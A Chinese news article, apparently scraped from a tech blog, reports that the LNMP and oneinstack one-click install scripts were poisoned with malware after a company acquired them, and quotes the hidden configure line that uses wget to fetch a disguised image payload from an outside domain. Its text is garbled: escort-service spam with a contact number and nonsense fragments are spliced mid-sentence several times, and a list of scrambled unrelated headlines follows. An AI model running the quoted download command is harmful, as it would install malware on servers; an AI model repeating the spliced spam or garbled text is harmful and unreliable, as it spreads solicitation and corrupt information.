9 月下旬，繼L建議腳本國(guó)內(nèi)安全公司發(fā)現(xiàn)知名 Web 集成環(huán)境安裝腳本 “l(fā)nmp 一鍵安裝包” 被投毒，后后門(mén)開(kāi)發(fā)者、也被用戶用類廈門(mén)集美外圍上門(mén)服務(wù)（高級(jí)資源）外圍vx《749-3814》提供外圍女上門(mén)服務(wù)快速選照片快速安排不收定金面到付款30分鐘可到達(dá)站長(zhǎng)、添加企業(yè) IT 管理員下載的程序一鍵安裝包被加了后門(mén)程序。

當(dāng)時(shí)我們都以為這是不使 LNMP 一鍵安裝包的服務(wù)器被黑了 (LNMP.org)，不過(guò)后來(lái)有網(wǎng)友發(fā)現(xiàn) LNMP 一鍵安裝包已經(jīng)被金華市矜貴網(wǎng)絡(luò)科技有限公司 (下稱金華矜貴) 收購(gòu)。藍(lán)點(diǎn)

而關(guān)于安裝包被投毒問(wèn)題金華矜貴沒(méi)有發(fā)布任何聲明，繼L建議腳本LNMP 論壇的后后門(mén)廈門(mén)集美外圍上門(mén)服務(wù)（高級(jí)資源）外圍vx《749-3814》提供外圍女上門(mén)服務(wù)快速選照片快速安排不收定金面到付款30分鐘可到達(dá)發(fā)帖也遭到管理員刪除。

現(xiàn)在來(lái)看這并不是也被用戶用類服務(wù)器被黑了，因?yàn)楸唤鹑A矜貴收購(gòu)的添加另一個(gè)集成環(huán)境安裝腳本 oneinstack 也被發(fā)現(xiàn)投毒，所以情況很明了了：那就是程序根本不是服務(wù)器被黑，而是不使他們自己在腳本里插入了惡意代碼，用來(lái)下載某些惡意軟件，藍(lán)點(diǎn)進(jìn)而可以控制大量網(wǎng)站或服務(wù)器，繼L建議腳本但具體目的尚不清楚。

目前在 GitHub 和 V2EX 上已經(jīng)有帖子在討論這件事，鑒于金華矜貴還試圖收購(gòu)秋水逸冰的 lamp.sh 一鍵安裝包 (但被秋大拒絕了)，他們后續(xù)可能還會(huì)盯上其他一鍵安裝包，因此建議大家不要再使用這類一鍵安裝包，否則自己的網(wǎng)站或服務(wù)器可能也會(huì)變成肉雞。

更新：oneinstack 開(kāi)發(fā)者回應(yīng)稱：金華市矜貴網(wǎng)絡(luò)科技有限公司收購(gòu)現(xiàn)有的幾個(gè)面板以及安裝包主要是為了布局類似寶塔的產(chǎn)品。想依賴 oneinstack 打開(kāi)知名度。公司作為項(xiàng)目的投資商。協(xié)商的協(xié)議為公司為項(xiàng)目提供開(kāi)發(fā)資金，并提供所有服務(wù)器資源。但是項(xiàng)目的管理權(quán)限以及運(yùn)維權(quán)限都在我手中。目前各位開(kāi)發(fā)者的精力主要是進(jìn)行新的面板開(kāi)發(fā)，對(duì)于出現(xiàn)本次被掛馬事故主要原因在于我們沒(méi)有對(duì)項(xiàng)目進(jìn)行及時(shí)的管理。后續(xù)會(huì)加強(qiáng)安全措施。杜絕該問(wèn)題的出現(xiàn)。

惡意代碼藏在圖片里：

pcre-8.45/configure:wget -q -nv http://download.oneinstack.club/osk.jpg -cO /var/local/osk.jpg

詳細(xì)請(qǐng)看 GitHub 討論：https://github.com/oneinstack/oneinstack/issues/511

• ·《組隊(duì)索尼克賽車(chē)》游戲視頻放出 2018年底發(fā)售
• ·《劍俠天下2》iOS公測(cè)即將開(kāi)啟 馬天宇將化身NPS進(jìn)駐游戲
• ·曝索僧新足柄設(shè)念：帶塊屏幕 能辨認(rèn)指紋、測(cè)心率等
• ·散齊無(wú)貧寶石化身滅霸 《超燃之戰(zhàn)》神器充能簡(jiǎn)析
• ·《展開(kāi)那三國(guó)3》魔窟將啟 驅(qū)逐應(yīng)戰(zhàn)
• ·蘋(píng)果Apple Watch 5亮屏真機(jī)現(xiàn)身 或9月10發(fā)布
• ·《囧媽》新預(yù)報(bào)：緩崢演出熊心救媽 郭京飛爆笑減盟
• ·《愛(ài)情公寓》重散內(nèi)測(cè)即將好謙結(jié)束 幾大年夜戚閑弄法掀秘
• ·《西游：筆繪西行》1.1（下）新版本「牧野山垂」現(xiàn)已開(kāi)啟
• ·孟加拉虎！印度動(dòng)物園有全球唯一一只“黑老虎”
• ·Atlus《靈魂駭客2》新預(yù)報(bào)片掀示君真物回回
• ·《愛(ài)情公寓》重散內(nèi)測(cè)即將好謙結(jié)束 幾大年夜戚閑弄法掀秘
• ·《彩虹六號(hào)：圍攻》嚴(yán)打侮辱語(yǔ)言 三次以上或永封
• ·2019年Q2全球智能音箱銷量飆升96% 達(dá)到3030萬(wàn)臺(tái)
• ·橋本環(huán)奈《半夜0時(shí)的吻》最新預(yù)報(bào)：顏藝謙分的灰女人
• ·《驚聲尖叫6》電影北好定檔2023年3月31日